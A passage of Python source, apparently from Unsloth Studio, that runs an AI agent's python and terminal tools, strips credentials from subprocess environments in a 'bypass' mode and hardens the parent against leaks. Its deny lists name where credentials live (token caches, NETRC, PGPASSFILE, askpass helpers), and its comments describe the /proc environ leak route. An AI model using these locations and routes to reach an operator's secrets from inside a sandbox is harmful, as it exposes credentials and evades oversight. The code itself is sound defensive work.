# Azure App Service connection strings carry DB/storage credentials.
|
|
"CONNSTR",
|
|
"CONNECTIONSTRING",
|
|
)
|
|
# Non-secret hardening flags that match a secret prefix/marker but must be KEPT
|
|
# so bypass mode does not undo an operator's opt-out (e.g.
|
|
# AWS_EC2_METADATA_DISABLED blocks the AWS SDK from pulling IMDS creds).
|
|
_BYPASS_ENV_KEEP_NAMES = frozenset(
|
|
{
|
|
"AWS_EC2_METADATA_DISABLED",
|
|
"AWS_EC2_METADATA_V1_DISABLED",
|
|
}
|
|
)
|
|
# Matches a URL embedding userinfo before the host ("scheme://user:pass@host"
|
|
# and token-only forms). The userinfo must precede the first '/', so an '@' in
|
|
# a path/query does not false-positive.
|
|
_URL_USERINFO_RE = re.compile(r"://[^/\s@]+@")
|
|
# Connection-string credential fields (ADO.NET / Azure storage / Service Bus)
|
|
# whose names dodge the name classifier. The Name fields (SharedAccessKeyName=)
|
|
# don't match since "=" must follow the keyword.
|
|
_SECRET_VALUE_RE = re.compile(r"(?i)(?:password|pwd|accountkey|accesskey)\s*=\s*[^\s;]")
|
|
|
|
# Names holding no secret value but pointing SDKs at the operator's real
|
|
# home/cache/config (cached tokens, cred files), defeating the HOME repoint.
|
|
# Dropped in bypass mode so tools fall back to the empty repointed HOME.
|
|
_BYPASS_ENV_CRED_LOCATION_NAMES = frozenset(
|
|
{
|
|
# HF cache roots (token lives under $HF_HOME/token)
|
|
"HF_HOME",
|
|
"HF_HUB_CACHE",
|
|
"HUGGINGFACE_HUB_CACHE",
|
|
"HF_XET_CACHE",
|
|
"TRANSFORMERS_CACHE",
|
|
"HF_DATASETS_CACHE",
|
|
"HF_ASSETS_CACHE",
|
|
# XDG base dirs (resolved before $HOME)
|
|
"XDG_CONFIG_HOME",
|
|
"XDG_CACHE_HOME",
|
|
"XDG_DATA_HOME",
|
|
# explicit cred/config file pointers honoured before $HOME
|
|
"NETRC",
|
|
"PGPASSFILE",
|
|
"BOTO_CONFIG",
|
|
"PIP_CONFIG_FILE",
|
|
"CLOUDSDK_CONFIG",
|
|
"KAGGLE_CONFIG_DIR",
|
|
"DOCKER_CONFIG",
|
|
"WANDB_DIR",
|
|
"WANDB_CONFIG_DIR",
|
|
"WANDB_CACHE_DIR",
|
|
# package-manager / git / cloud config pointers to real cred files
|
|
"NPM_CONFIG_USERCONFIG",
|
|
"NPM_CONFIG_GLOBALCONFIG",
|
|
"YARN_RC_FILENAME",
|
|
"GIT_CONFIG_GLOBAL",
|
|
"GIT_CONFIG_SYSTEM",
|
|
"CARGO_HOME",
|
|
"RCLONE_CONFIG",
|
|
# auth-helper scripts that hand creds to git/ssh
|
|
"GIT_ASKPASS",
|
|
"SSH_ASKPASS",
|
|
# shell startup hook: bash -c sources $BASH_ENV (can re-export secrets)
|
|
"BASH_ENV",
|
|
# Windows: HOMEDRIVE+HOMEPATH compose a home that bypasses HOME
|
|
"HOMEDRIVE",
|
|
"HOMEPATH",
|
|
}
|
|
)
|
|
# Windows profile dirs SDKs read creds under; repointed (not dropped) since
|
|
# callers expect them present.
|
|
_BYPASS_ENV_WINDOWS_PROFILE_VARS = ("USERPROFILE", "APPDATA", "LOCALAPPDATA")
|
|
|
|
|
|
def _is_secret_env_name(name: str) -> bool:
|
|
"""True if an env var name looks like it carries a credential."""
|
|
upper = name.upper()
|
|
if upper in _BYPASS_ENV_KEEP_NAMES:
|
|
return False # non-secret hardening flag; keep it
|
|
if upper in _BYPASS_ENV_SECRET_NAMES:
|
|
return True
|
|
if any(upper.startswith(p) for p in _BYPASS_ENV_SECRET_PREFIXES):
|
|
return True
|
|
return any(marker in upper for marker in _BYPASS_ENV_SECRET_MARKERS)
|
|
|
|
|
|
def _is_cred_location_env_name(name: str) -> bool:
|
|
"""True for vars that point SDKs at the real home/cache/config (cached creds)."""
|
|
return name.upper() in _BYPASS_ENV_CRED_LOCATION_NAMES
|
|
|
|
|
|
def _is_secret_env_value(value: str) -> bool:
|
|
"""True if a value embeds credentials regardless of its name.
|
|
|
|
Catches URL userinfo (``scheme://user:token@host`` in DATABASE_URL /
|
|
PIP_INDEX_URL / HTTP_PROXY) and connection-string credential fields
|
|
(``...;Password=...`` / ``...;AccountKey=...``) whose names dodge the name
|
|
classifier.
|
|
"""
|
|
if not value:
|
|
return False
|
|
return _URL_USERINFO_RE.search(value) is not None or _SECRET_VALUE_RE.search(value) is not None
|
|
|
|
|
|
def _build_bypass_env(workdir: str) -> dict[str, str]:
|
|
"""Env for bypass exec: full host env minus credential vars, with HOME/TMPDIR
|
|
repointed at the workdir so SDKs cannot read cached creds.
|
|
|
|
Stripping the child env is necessary but not sufficient (a same-UID child can
|
|
read the parent's env via procfs), so callers also harden the parent (see
|
|
_harden_parent_against_proc_env_leak).
|
|
"""
|
|
env = {
|
|
k: v
|
|
for k, v in os.environ.items()
|
|
if not _is_secret_env_name(k)
|
|
and not _is_secret_env_value(v)
|
|
and not _is_cred_location_env_name(k)
|
|
}
|
|
env["HOME"] = workdir
|
|
env["TMPDIR"] = workdir
|
|
# Windows tempfile / SDKs honour TEMP/TMP, not TMPDIR; repoint all three so
|
|
# the bypassed tool writes under the per-session sandbox dir on every OS.
|
|
env["TEMP"] = workdir
|
|
env["TMP"] = workdir
|
|
# sitecustomize path shim (see _build_safe_env). Bypass inherits the
|
|
# operator's PYTHONPATH, so prepend rather than replace.
|
|
inherited_pythonpath = env.get("PYTHONPATH", "")
|
|
env["PYTHONPATH"] = os.pathsep.join(
|
|
part for part in (_SANDBOX_SITE_DIR, inherited_pythonpath) if part
|
|
)
|
|
# Windows SDKs read creds under the profile dirs, not $HOME; repoint set
|
|
# ones to the workdir (HOMEDRIVE/HOMEPATH are dropped above).
|
|
for var in _BYPASS_ENV_WINDOWS_PROFILE_VARS:
|
|
if var in os.environ:
|
|
env[var] = workdir
|
|
return env
|
|
|
|
|
|
def _sandbox_preexec():
|
|
"""Best-effort sandbox setup for sandboxed subprocesses (modules are
|
|
resolved at import time so the forked child runs no imports)."""
|
|
try:
|
|
os.setsid()
|
|
except OSError:
|
|
pass
|
|
|
|
try:
|
|
os.umask(0o077)
|
|
except OSError:
|
|
pass
|
|
|
|
if _libc is not None:
|
|
try:
|
|
_libc.prctl(38, 1, 0, 0, 0) # PR_SET_NO_NEW_PRIVS
|
|
except (OSError, AttributeError):
|
|
pass
|
|
|
|
try:
|
|
_libc.prctl(1, 9, 0, 0, 0) # PR_SET_PDEATHSIG = SIGKILL
|
|
except (OSError, AttributeError):
|
|
pass
|
|
|
|
# CLONE_NEWNET not applied: with userns enabled it blocks all egress,
|
|
# including allowlisted hosts. Network policy is enforced by the AST
|
|
# host check and the bash blocklist.
|
|
|
|
if _resource is not None:
|
|
# RLIMIT_NPROC is per-real-UID, so the cap is well above normal usage.
|
|
try:
|
|
nproc = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_NPROC", "10000"))
|
|
_resource.setrlimit(_resource.RLIMIT_NPROC, (nproc, nproc))
|
|
except (ValueError, OSError, AttributeError):
|
|
pass
|
|
try:
|
|
_resource.setrlimit(_resource.RLIMIT_FSIZE, (100 * 1024 * 1024, 100 * 1024 * 1024))
|
|
except (ValueError, OSError):
|
|
pass
|
|
try:
|
|
as_bytes = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_AS_GB", "8")) * 1024 * 1024 * 1024
|
|
_resource.setrlimit(_resource.RLIMIT_AS, (as_bytes, as_bytes))
|
|
except (ValueError, OSError, AttributeError):
|
|
pass
|
|
try:
|
|
cpu_s = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_CPU_S", "600"))
|
|
_resource.setrlimit(_resource.RLIMIT_CPU, (cpu_s, cpu_s))
|
|
except (ValueError, OSError, AttributeError):
|
|
pass
|
|
try:
|
|
# High enough for multi-shard safetensors mmaps; tunable via env.
|
|
# Clamp to the inherited hard limit so setrlimit doesn't ValueError
|
|
# when the parent's hard cap is below the request.
|
|
nofile = int(os.environ.get("UNSLOTH_STUDIO_SANDBOX_NOFILE", "16384"))
|
|
_soft_cur, hard_cur = _resource.getrlimit(_resource.RLIMIT_NOFILE)
|
|
target = nofile if hard_cur == _resource.RLIM_INFINITY else min(nofile, hard_cur)
|
|
_resource.setrlimit(_resource.RLIMIT_NOFILE, (target, target))
|
|
except (ValueError, OSError, AttributeError):
|
|
pass
|
|
|
|
|
|
def _bypass_preexec():
|
|
"""Minimal pre-exec for bypass exec: os.setsid() only.
|
|
|
|
Required, not a restriction: _kill_process_tree does killpg(getpgid(child)),
|
|
so without a new session a timeout/cancel would kill the Unsloth server too.
|
|
"""
|
|
try:
|
|
os.setsid()
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
# Hardening the Unsloth parent is done once (PR_SET_DUMPABLE is process-global
|
|
# and sticky); guarded so repeated bypass calls do not re-issue the prctl.
|
|
_parent_proc_hardened = False
|
|
|
|
|
|
def _harden_parent_against_proc_env_leak() -> bool:
|
|
"""Make the Unsloth process's /proc/<pid>/environ unreadable to its children.
|
|
|
|
Stripping the child env is not enough on Linux: a bypassed same-UID child
|
|
can read /proc/<getppid()>/environ to recover the parent's unfiltered
|
|
secrets. Clearing PR_SET_DUMPABLE reparents this process's /proc entries to
|
|
root, closing that read.
|
|
|
|
Returns True when hardened or unnecessary (off Linux), False when needed but
|
|
unappliable (e.g. prctl denied by seccomp); callers must then fail closed.
|
|
This is a mitigation, not a full boundary - a bypassed tool can still walk
|
|
/proc to an ancestor or read creds by path. Applied lazily on first bypass.
|
|
"""
|
|
global _parent_proc_hardened
|
|
if _parent_proc_hardened:
|
|
return True
|
|
if sys.platform != "linux":
|
|
return True # no /proc/<pid>/environ same-UID leak to close
|
|
if _libc is None:
|
|
return False # on Linux but cannot issue prctl -> cannot harden
|
|
try:
|
|
# prctl(PR_SET_DUMPABLE=4, SUID_DUMP_DISABLE=0). ctypes returns the
|
|
# syscall result (-1 on failure) and does NOT raise, so check it.
|
|
ret = _libc.prctl(4, 0, 0, 0, 0)
|
|
except (OSError, AttributeError):
|
|
return False
|
|
if ret != 0:
|
|
return False
|
|
_parent_proc_hardened = True
|
|
return True
|
|
|
|
|
|
def _get_shell_cmd(command: str) -> list[str]:
|
|
"""Return the platform-appropriate shell invocation for a command string."""
|
|
if sys.platform == "win32":
|
|
return ["cmd", "/c", command]
|
|
return ["bash", "-c", command]
|
|
|
|
|
|
# Per-session working directories so each chat thread gets its own sandbox.
|
|
# Falls back to ~/studio_sandbox/_default for callers without a session_id.
|
|
_workdirs: dict[str, str] = {}
|
|
|
|
|
|
# Non-matching session_ids collapse to ``_invalid`` to block cross-session escapes.
|
|
_SESSION_ID_RE = re.compile(r"\A[A-Za-z0-9_\-]{1,64}\Z")
|
|
_PROJECT_SESSION_PREFIX = "project-"
|
|
|
|
|
|
def _get_project_workdir(session_id: str) -> str | None:
|
|
if not session_id.startswith(_PROJECT_SESSION_PREFIX):
|
|
return None
|
|
project_id = session_id[len(_PROJECT_SESSION_PREFIX) :]
|
|
if not project_id or not _SESSION_ID_RE.match(project_id):
|
|
return None
|
|
try:
|
|
from storage.studio_db import ensure_chat_project_workspace
|
|
project = ensure_chat_project_workspace(project_id)
|
|
except Exception:
|
|
logger.warning("Failed to resolve project sandbox for %s", session_id, exc_info = True)
|
|
return None
|
|
if not project:
|
|
return None
|
|
root_path = project.get("rootPath")
|
|
sandbox_path = project.get("sandboxPath")
|
|
if not root_path or not sandbox_path:
|
|
return None
|
|
root_real = os.path.realpath(root_path)
|
|
sandbox_real = os.path.realpath(sandbox_path)
|
|
if sandbox_real != root_real and not sandbox_real.startswith(root_real + os.sep):
|
|
return None
|
|
return sandbox_real
|
|
|
|
|
|
def _get_workdir(session_id: str | None = None) -> str:
|
|
"""Return a per-session sandbox dir at mode 0o700."""
|
|
global _workdirs
|
|
key = session_id or "_default"
|
|
if key not in _workdirs or not os.path.isdir(_workdirs[key]):
|
|
home = os.path.expanduser("~")
|
|
sandbox_root = os.path.join(home, "studio_sandbox")
|
|
project_workdir = (
|
|
_get_project_workdir(session_id)
|
|
if session_id and _SESSION_ID_RE.match(session_id)
|
|
else None
|
|
)
|
|
if project_workdir:
|
|
workdir = project_workdir
|
|
elif session_id and _SESSION_ID_RE.match(session_id):
|
|
workdir = os.path.join(sandbox_root, session_id)
|
|
if not os.path.realpath(workdir).startswith(os.path.realpath(sandbox_root) + os.sep):
|
|
workdir = os.path.join(sandbox_root, "_invalid")
|
|
elif session_id:
|
|
workdir = os.path.join(sandbox_root, "_invalid")
|
|
else:
|
|
workdir = os.path.join(sandbox_root, "_default")
|
|
os.makedirs(workdir, exist_ok = True)
|
|
try:
|
|
os.chmod(sandbox_root, 0o700)
|
|
except OSError:
|
|
pass
|
|
try:
|
|
os.chmod(workdir, 0o700)
|
|
except OSError:
|
|
pass
|
|
_workdirs[key] = workdir
|
|
return _workdirs[key]
|
|
|
|
|
|
def get_sandbox_workdir(session_id: str | None = None) -> str:
|
|
return _get_workdir(session_id)
|
|
|
|
|
|
WEB_SEARCH_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "web_search",
|
|
"description": (
|
|
"Search the web and fetch page content. Returns snippets for all results. "
|
|
"Use the url parameter to fetch full page text from a specific URL."
|
|
),
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"query": {
|
|
"type": "string",
|
|
"description": "The search query",
|
|
},
|
|
"url": {
|
|
"type": "string",
|
|
"description": "A URL to fetch full page content from (instead of searching). Use this to read a page found in search results.",
|
|
},
|
|
},
|
|
"required": [],
|
|
},
|
|
},
|
|
}
|
|
|
|
# Appended to the python/terminal descriptions: models habitually write to
|
|
# /mnt/data (a ChatGPT code-interpreter path), which does not exist here.
|
|
_SANDBOX_PATHS_NOTE = (
|
|
" Read and write files using relative paths in the current working "
|
|
"directory, which persists for this conversation; absolute paths like "
|
|
"/mnt/data or /tmp/outputs do not exist."
|
|
)
|
|
|
|
PYTHON_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "python",
|
|
"description": "Execute Python code in a sandbox and return stdout/stderr."
|
|
+ _SANDBOX_PATHS_NOTE,
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"code": {
|
|
"type": "string",
|
|
"description": "The Python code to run",
|
|
}
|
|
},
|
|
"required": ["code"],
|
|
},
|
|
},
|
|
}
|
|
|
|
TERMINAL_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "terminal",
|
|
"description": "Execute a terminal command and return stdout/stderr." + _SANDBOX_PATHS_NOTE,
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"command": {
|
|
"type": "string",
|
|
"description": "The command to run",
|
|
}
|
|
},
|
|
"required": ["command"],
|
|
},
|
|
},
|
|
}
|
|
|
|
RENDER_HTML_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "render_html",
|
|
"description": (
|
|
"Render a self-contained HTML/CSS/JavaScript canvas for the user. "
|
|
"Call this at most once per assistant response unless the user "
|
|
"explicitly asks for changes in that response. Future user requests "
|
|
"for new canvases may call render_html once. Put the entire document "
|
|
"in code, including any CSS in <style> tags and JavaScript in <script> tags."
|
|
),
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"code": {
|
|
"type": "string",
|
|
"description": "A complete self-contained HTML document.",
|
|
},
|
|
"title": {
|
|
"type": "string",
|
|
"description": "Short display title for the canvas.",
|
|
},
|
|
},
|
|
"required": ["code"],
|
|
},
|
|
},
|
|
}
|
|
|
|
# Duplicated (not imported from core.rag.tool) so the registry never pulls in
|
|
# the RAG stack; dispatch imports it lazily.
|
|
SEARCH_KNOWLEDGE_BASE_TOOL = {
|
|
"type": "function",
|
|
"function": {
|
|
"name": "search_knowledge_base",
|
|
"description": (
|
|
"Search the user's uploaded documents and knowledge bases for "
|
|
"relevant passages. Use this whenever the question may be answered "
|
|
"by the attached documents, then cite the returned chunks."
|
|
),
|
|
"parameters": {
|
|
"type": "object",
|
|
"properties": {
|
|
"query": {
|
|
"type": "string",
|
|
"description": "Natural-language search query.",
|
|
},
|
|
"top_k": {
|
|
"type": "integer",
|
|
"description": "Max chunks to return.",
|
|
},
|
|
},
|
|
"required": ["query"],
|
|
},
|
|
},
|
|
}
|
|
|
|
ALL_TOOLS = [
|
|
WEB_SEARCH_TOOL,
|
|
PYTHON_TOOL,
|
|
TERMINAL_TOOL,
|
|
RENDER_HTML_TOOL,
|
|
SEARCH_KNOWLEDGE_BASE_TOOL,
|
|
]
|
|
|
|
|
|
# OpenAI's function.name regex; MCP names that violate it would 400 the whole
|
|
# request, so validate up front and skip with a warning.
|
|
_OPENAI_FN_NAME_RE = re.compile(r"^[a-zA-Z0-9_-]{1,64}$")
|
|
|
|
|
|
def _mcp_specs_for_server(server: dict, mcp_tools: list[dict]) -> list[dict]:
|
|
"""Convert an MCP server's tool list into OpenAI function specs."""
|
|
display = server.get("display_name") or server["id"]
|
|
specs: list[dict] = []
|
|
seen_names: set[str] = set()
|
|
for tool in mcp_tools:
|
|
raw_name = tool.get("name") or ""
|
|
if not raw_name:
|
|
logger.warning("Skipping MCP tool on '%s': empty name.", display)
|
|
continue
|
|
name = f"{MCP_TOOL_PREFIX}{server['id']}__{raw_name}"
|
|
# Bad chars or oversized names would 400 the whole request; skip + warn
|
|
# so the rest of the tools still ship.
|
|
if not _OPENAI_FN_NAME_RE.fullmatch(name):
|
|
logger.warning(
|
|
"Skipping MCP tool '%s' on '%s': composed name '%s' is not "
|
|
"valid OpenAI function.name (regex ^[a-zA-Z0-9_-]{1,64}$).",
|
|
raw_name,
|
|
display,
|
|
name,
|
|
)
|
|
continue
|
|
# Duplicate tool names would also 400 OpenAI; drop dupes.
|
|
if name in seen_names:
|
|
logger.warning("Skipping duplicate MCP tool '%s' on '%s'.", raw_name, display)
|
|
continue
|
|
seen_names.add(name)
|
|
specs.append(
|
|
{
|
|
"type": "function",
|
|
"function": {
|
|
"name": name,
|
|
"description": f"[{display}] {tool.get('description') or ''}".strip(),
|
|
"parameters": tool.get("inputSchema") or {"type": "object", "properties": {}},
|
|
},
|
|
}
|
|
)
|
|
return specs
|
|
|
|
|
|
async def get_enabled_mcp_tools() -> list[dict]:
|
|
servers = [s for s in mcp_servers_db.list_servers() if s.get("is_enabled")]
|
|
# Never spawn stdio servers when stdio is disabled on this host.
|
|
if not stdio_mcp_enabled():
|
|
servers = [s for s in servers if not is_stdio(s["url"])]
|
|
if not servers:
|
|
return []
|
|
|
|
# Skip servers still in their post-failure cool-off, otherwise a down
|
|
# server gets re-probed -- and blocks the send for the full timeout -- on
|
|
# every message.
|
|
uncached = [
|
|
s for s in servers if get_cached_tools(s["id"]) is None and not in_failure_cooloff(s["id"])
|
|
]
|
|
if uncached:
|
|
results = await asyncio.gather(
|
|
*(
|
|
list_tools_async(
|
|
url = s["url"],
|
|
headers = parse_server_headers(s),
|
|
timeout = probe_timeout(s["url"], bool(s.get("use_oauth"))),
|
|
use_oauth = bool(s.get("use_oauth")),
|
|
)
|
|
for s in uncached
|
|
),
|
|
return_exceptions = True,
|
|
)
|
|
# An edit/delete can land while we await a probe; re-read and drop a
|
|
# result whose server changed or was removed mid-probe, else a stale
|
|
# tool list (or cool-off on a just-fixed server) persists.
|
|
current = {s["id"]: s for s in mcp_servers_db.list_servers()}
|
|
for server, payload in zip(uncached, results):
|
|
fresh = current.get(server["id"])
|
|
if fresh is None or any(
|
|
fresh.get(k) != server.get(k) for k in TOOL_CACHE_INVALIDATING_FIELDS
|
|
):
|
|
continue
|
|
if isinstance(payload, BaseException):
|
|
logger.warning(
|
|
"MCP server '%s' (%s) discovery failed: %s",
|
|
server.get("display_name") or server["id"],
|
|
server.get("url"),
|
|
payload,
|
|
)
|
|
# Failures aren't cached, but record one so a down server
|
|
# isn't re-probed every send during the cool-off.
|
|
record_probe_failure(server["id"], bool(fresh.get("use_oauth")))
|
|
continue
|
|
cache_tools(server["id"], payload)
|
|
|
|
specs: list[dict] = []
|
|
for server in servers:
|
|
payload = get_cached_tools(server["id"])
|
|
if payload is None:
|
|
continue
|
|
specs.extend(_mcp_specs_for_server(server, payload))
|
|
return specs
|
|
|
|
|
|
_TIMEOUT_UNSET = object()
|
|
|
|
|
|
def _render_html_result(arguments: dict) -> str:
|
|
code = arguments.get("code")
|
|
if not isinstance(code, str) or not code.strip():
|
|
return "Error: render_html requires a non-empty code string."
|
|
title = arguments.get("title")
|
|
if isinstance(title, str) and title.strip():
|
|
safe_title = title.strip()[:120]
|
|
return (
|
|
f"Rendered HTML canvas: {safe_title}. Do not call render_html "
|
|
"again in this response unless the user asks for changes. For a later "
|
|
"user request for a new canvas, call render_html once."
|
|
)
|
|
return (
|
|
"Rendered HTML canvas. Do not call render_html again in this response "
|
|
"unless the user asks for changes. For a later user request for a new "
|
|
"canvas, call render_html once."
|
|
)
|
|
|
|
|
|
def execute_tool(
|
|
name: str,
|
|
arguments: dict,
|
|
cancel_event = None,
|
|
timeout: int | None = _TIMEOUT_UNSET,
|
|
session_id: str | None = None,
|
|
thread_id: str | None = None,
|
|
rag_scope: dict | None = None,
|
|
disable_sandbox: bool = False,
|
|
output_callback = None,
|
|
website_policy: dict | None = None,
|
|
) -> str:
|
|
"""Execute a tool by name with the given arguments; returns a string.
|
|
|
|
``timeout``: int seconds, ``None`` = no limit, unset = ``_EXEC_TIMEOUT``.
|
|
``session_id``: optional ID for per-conversation sandbox isolation.
|
|
``thread_id``: optional conversation ID; scopes stateful MCP stdio sessions
|
|
per thread (session_id alone can be shared project-wide).
|
|
``rag_scope``: hidden per-request RAG context the model never sees; consumed
|
|
by ``search_knowledge_base``.
|
|
``disable_sandbox``: Bypass Permissions; run python/terminal without the
|
|
safety checks, blocklist, or resource caps (secrets still stripped). Only
|
|
affects local code tools; web_search / MCP are unchanged.
|
|
``output_callback``: optional ``callable(str)`` invoked with incremental
|
|
stdout/stderr chunks while python/terminal executions run (UI live
|
|
output). Purely observational: the returned result string is identical
|
|
with or without it. Tools without incremental output ignore it.
|
|
``website_policy``: hidden server-validated domain limits for web_search.
|
|
"""
|
|
logger.info(f"execute_tool: name={name}, session_id={session_id}, timeout={timeout}")
|
|
effective_timeout = _EXEC_TIMEOUT if timeout is _TIMEOUT_UNSET else timeout
|
|
if name == "search_knowledge_base":
|
|
return _search_knowledge_base_with_budget(
|
|
arguments,
|
|
rag_scope,
|
|
effective_timeout,
|
|
cancel_event,
|
|
)
|
|
if name == "render_html":
|
|
return _render_html_result(arguments)
|
|
if name.startswith(MCP_TOOL_PREFIX):
|
|
try:
|
|
_, server_id, tool_name = name.split("__", 2)
|
|
except ValueError:
|
|
return f"Error: malformed MCP tool name '{name}'"
|
|
server = mcp_servers_db.get_server(server_id)
|
|
if not server:
|
|
return f"Error: MCP server '{server_id}' not found"
|
|
if not server.get("is_enabled"):
|
|
return f"Error: MCP server '{server_id}' is disabled"
|
|
if is_stdio(server["url"]) and not stdio_mcp_enabled():
|
|
return f"Error: stdio MCP server '{server_id}' is disabled on this host"
|
|
# Persist a stateful stdio session only per conversation (thread_id).
|
|
# session_id is the project-wide sandbox id, so scoping by it alone leaks
|
|
# browser/DB/REPL state across conversations; fall back to one-shot. Tag +
|
|
# percent-quote the parts so ids can't collide or ":" merge conversations.
|
|
if thread_id:
|
|
mcp_scope = "s={}:t={}".format(
|
|
urllib.parse.quote(session_id or "", safe = ""),
|
|
urllib.parse.quote(thread_id, safe = ""),
|
|
)
|
|
else:
|
|
mcp_scope = None
|
|
headers = parse_server_headers(server)
|
|
url = server["url"]
|
|
|
|
def _config_current() -> bool:
|
|
# Re-read before a stdio session is cached: this call may have read
|
|
# the row just before an update/delete closed its sessions.
|
|
row = mcp_servers_db.get_server(server_id)
|
|
return (
|
|
row is not None
|
|
and bool(row.get("is_enabled"))
|
|
and row.get("url") == url
|
|
and parse_server_headers(row) == headers
|
|
)
|
|
|
|
return call_tool_sync(
|
|
url = url,
|
|
headers = headers,
|
|
name = tool_name,
|
|
args = arguments,
|
|
timeout = effective_timeout,
|
|
use_oauth = bool(server.get("use_oauth")),
|
|
cancel_event = cancel_event,
|
|
scope = mcp_scope,
|
|
config_check = _config_current,
|
|
)
|
|
if name == "web_search":
|
|
return _web_search(
|
|
arguments.get("query", ""),
|
|
url = arguments.get("url"),
|
|
timeout = effective_timeout,
|
|
cancel_event = cancel_event,
|
|
website_policy = website_policy,
|
|
)
|
|
if name == "python":
|
|
return _python_exec(
|
|
arguments.get("code", ""),
|
|
cancel_event,
|
|
effective_timeout,
|
|
session_id,
|
|
disable_sandbox = disable_sandbox,
|
|
output_callback = output_callback,
|
|
)
|
|
if name == "terminal":
|
|
return _bash_exec(
|
|
arguments.get("command", ""),
|
|
cancel_event,
|
|
effective_timeout,
|
|
session_id,
|
|
disable_sandbox = disable_sandbox,
|
|
output_callback = output_callback,
|
|
)
|
|
return f"Unknown tool: {name}"
|
|
|
|
|
|
def _opt_int(v) -> int | None:
|
|
try:
|
|
return int(v) if v is not None else None
|
|
except (TypeError, ValueError):
|
|
return None
|
|
|
|
|
|
def _scope_retrieval_kwargs(scope: dict) -> dict:
|
|
"""Retrieval mode from rag_scope; candidate pools and RRF come from config."""
|
|
mode = scope.get("mode")
|
|
return {"mode": mode if mode in ("hybrid", "dense", "lexical") else "hybrid"}
|
|
|
|
|
|
def _search_knowledge_base(arguments: dict, rag_scope: dict | None) -> str:
|
|
"""Run the RAG search bound to the hidden per-request ``rag_scope`` (the model
|
|
supplies only ``query``/``top_k``). Lazy import; missing sqlite-vec degrades
|
|
to a friendly message."""
|
|
scope = rag_scope or {}
|
|
query = (arguments or {}).get("query", "")
|
|
if not query or not str(query).strip():
|
|
return "Error: query is empty."
|
|
try:
|
|
from storage import rag_db
|
|
if not rag_db.RAG_AVAILABLE:
|
|
return "Knowledge base search is unavailable on this server."
|
|
from core.rag.tool import search_knowledge_base_with_sources
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG tool unavailable: %s", exc)
|
|
return "Knowledge base search is unavailable on this server."
|
|
|
|
top_k = _opt_int((arguments or {}).get("top_k") or scope.get("default_top_k"))
|
|
text, sources = search_knowledge_base_with_sources(
|
|
query = str(query),
|
|
scope_kb_id = scope.get("kb_id"),
|
|
scope_thread_id = scope.get("thread_id"),
|
|
scope_project_id = scope.get("project_id"),
|
|
top_k = top_k,
|
|
**_scope_retrieval_kwargs(scope),
|
|
)
|
|
# Append the UI source-map after the sentinel; loops strip it before the model.
|
|
if sources:
|
|
import json as _json
|
|
return text + RAG_SOURCES_SENTINEL + _json.dumps(sources, ensure_ascii = False)
|
|
return text
|
|
|
|
|
|
def _search_knowledge_base_with_budget(
|
|
arguments: dict,
|
|
rag_scope: dict | None,
|
|
timeout: int | None,
|
|
cancel_event = None,
|
|
) -> str:
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Error: knowledge base search cancelled."
|
|
deadline = time.monotonic() + timeout if timeout is not None else None
|
|
while not _RAG_SEARCH_SLOT.acquire(timeout = 0.05):
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Error: knowledge base search cancelled."
|
|
if deadline is not None and time.monotonic() >= deadline:
|
|
return "Error: knowledge base search timed out."
|
|
|
|
# The running search owns the admission slot until it actually stops; release it exactly once,
|
|
# from whichever path terminates the work. Releasing on caller timeout/cancel would let a
|
|
# second search in while the first worker is still doing embedding/index/GPU work, defeating
|
|
# the capacity-of-one bound, so the worker frees the slot in its finally instead.
|
|
_slot_lock = threading.Lock()
|
|
_slot_released = False
|
|
|
|
def release_slot() -> None:
|
|
nonlocal _slot_released
|
|
with _slot_lock:
|
|
if _slot_released:
|
|
return
|
|
_slot_released = True
|
|
_RAG_SEARCH_SLOT.release()
|
|
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
release_slot()
|
|
return "Error: knowledge base search cancelled."
|
|
if deadline is not None and time.monotonic() >= deadline:
|
|
release_slot()
|
|
return "Error: knowledge base search timed out."
|
|
|
|
if timeout is None and cancel_event is None:
|
|
try:
|
|
return _search_knowledge_base(arguments, rag_scope)
|
|
finally:
|
|
release_slot()
|
|
|
|
result: queue.Queue = queue.Queue(maxsize = 1)
|
|
|
|
def search() -> None:
|
|
try:
|
|
result.put((True, _search_knowledge_base(arguments, rag_scope)))
|
|
except BaseException as exc:
|
|
result.put((False, exc))
|
|
finally:
|
|
release_slot()
|
|
|
|
try:
|
|
threading.Thread(target = search, name = "rag-tool-search", daemon = True).start()
|
|
except Exception:
|
|
release_slot()
|
|
raise
|
|
while True:
|
|
# Caller gives up, but the worker thread still holds the slot and releases it in its
|
|
# finally when it truly finishes -- so concurrency stays bounded to one.
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Error: knowledge base search cancelled."
|
|
if deadline is not None and time.monotonic() >= deadline:
|
|
return "Error: knowledge base search timed out."
|
|
wait = 0.05
|
|
if deadline is not None:
|
|
wait = min(wait, max(0.001, deadline - time.monotonic()))
|
|
try:
|
|
ok, value = result.get(timeout = wait)
|
|
except queue.Empty:
|
|
continue
|
|
if ok:
|
|
return value
|
|
raise value
|
|
|
|
|
|
# Forced first-pass RAG retrieval: a high cosine floor keeps it precise (fires on
|
|
# on-topic queries, skips weak ones) and helps small models that under-call the tool.
|
|
# Tunable via RAG_AUTOINJECT_MIN_SCORE.
|
|
_AUTOINJECT_DEFAULT_FLOOR = 0.70
|
|
|
|
|
|
def _autoinject_enabled() -> bool:
|
|
return os.environ.get("RAG_AUTOINJECT", "1").strip().lower() not in (
|
|
"0",
|
|
"false",
|
|
"no",
|
|
"off",
|
|
)
|
|
|
|
|
|
def _autoinject_floor() -> float:
|
|
raw = os.environ.get("RAG_AUTOINJECT_MIN_SCORE")
|
|
if raw is not None:
|
|
try:
